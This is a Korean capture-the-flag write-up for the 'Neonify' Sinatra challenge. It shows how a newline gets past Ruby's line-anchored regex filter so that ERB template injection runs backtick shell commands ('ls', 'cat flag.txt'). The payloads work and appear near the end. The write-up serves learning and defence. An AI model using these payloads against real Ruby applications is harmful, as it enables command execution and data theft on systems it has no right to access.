문제 페이지에 들어가면 자신이 문자열을 입력 시 이를 네온 문자열로 출력해준다.
neon.rb 소스코드를 보면 NeonControllers의 클래스이며 get method로 /를 요청 시 neon변수에 “Glow With The Flow”를 설정해 index.erb에서 출력해주며 post method로 / 요청 시 neon 파리미터 값에 설정된 값으로 index.erb에서 출력해준다. 이때, neon 파라미터의 값이 알파벳 , 숫자, 공백으로 이뤄진 문자열인지 확인한다.
참고) ^는 문자열의 시작, $ 는 문자열의 끝, i는 대소문자를 구문하지 않는다.
class NeonControllers < Sinatra::Base
configure do
set :views, "app/views"
set :public_dir, "public"
end
get '/' do
@neon = "Glow With The Flow"
erb :'index'
end
post '/' do
if params[:neon] =~ /^[0-9a-z ]+$/i
@neon = ERB.new(params[:neon]).result(binding)
else
@neon = "Malicious Input Detected"
end
erb :'index'
end
end
index.erb 코드를 보면 <%= @neon %> 템플릿 태그를 확인할 수 있다. "<%=" 태그는 Ruby 코드를 문자열에 삽입하고 해당 코드의 결과를 문자열의 일부로 출력하는데 사용한다. erb가 Ruby의 템플릿이며 "<%=" 구문을 사용하는 것을 보아 SSTI를 이용해야한다는 것을 알게 되었다. 그러나 문제는 입력값이 영문자, 숫자, 공백만 허용한다는 것이다.
<!DOCTYPE html>
<html>
<head>
<title>Neonify</title>
<link rel="stylesheet" href="stylesheets/style.css">
<link rel="icon" type="image/gif" href="/images/gem.gif">
</head>
<body>
<div class="wrapper">
<h1 class="title">Amazing Neonify Generator</h1>
<form action="/" method="post">
<p>Enter Text to Neonify</p><br>
<input type="text" name="neon" value="">
<input type="submit" value="Submit">
</form>
<h1 class="glow"><%= @neon %></h1>
</div>
</body>
</html>
어떻게 우회할지 생각하다가 Ruby에서 정규식은 ^과 $는 각 줄의 시작과 끝에 매치된다는 것을 알았다. 그래서 만약에 한줄이 매칭되면 매칭되는 것으로 간주한다. 따라서, 개행문자가 오면 개행문자 다음에 어떤 문자(정규식에 매칭되지 않는 문자)가 와도 상관없다. 즉, neon 값에 hello%0a%0dhello<%=7*7%>를 전달했을때 hello가 매칭이 됨으로 모든 검사가 끝난다. 따라서 뒤에 있는 문자들에 무엇이 오든 상관 없다. 따라서, 아래와같이 <%=7*7%>를 전달하면 응답값이 49로와 SSTI가 가능하는 것을 알게 되었다.
참고) 아스키에서의 제어문자 중 LF, CR이 있다. LF는 한줄을 바꾸는 것이며 CR은 현재 커서를 맨 앞으로 옮기는 제어 문자이다. 이를 URL로 인코딩하면 %0a%0d가 된다
hello%0a%0dhello<%= 7*7 %>
ruby에서 `을 사용해 shell command를 실행할 수 있다. system함수를 이용해볼려 했지만 이는 return값이 true, false이기 때문에 결과값을 바로 출력해줄 수 없었다. 이를 인코딩해서 파라미터에 삽입하면 flag.txt 파일이 있는 것을 확인했다.
hello%0a%0dhello<%= `ls` %>
flag.txt 파일을 읽는 명령을 실행하면 flag를 획득할 수 있었다.
hello%0a%0dhello<%= `cat flag.txt` %>
참고 자료)
Bypassing regular expression checks with a line feed
Ruby ERB Template Injection - TrustedSec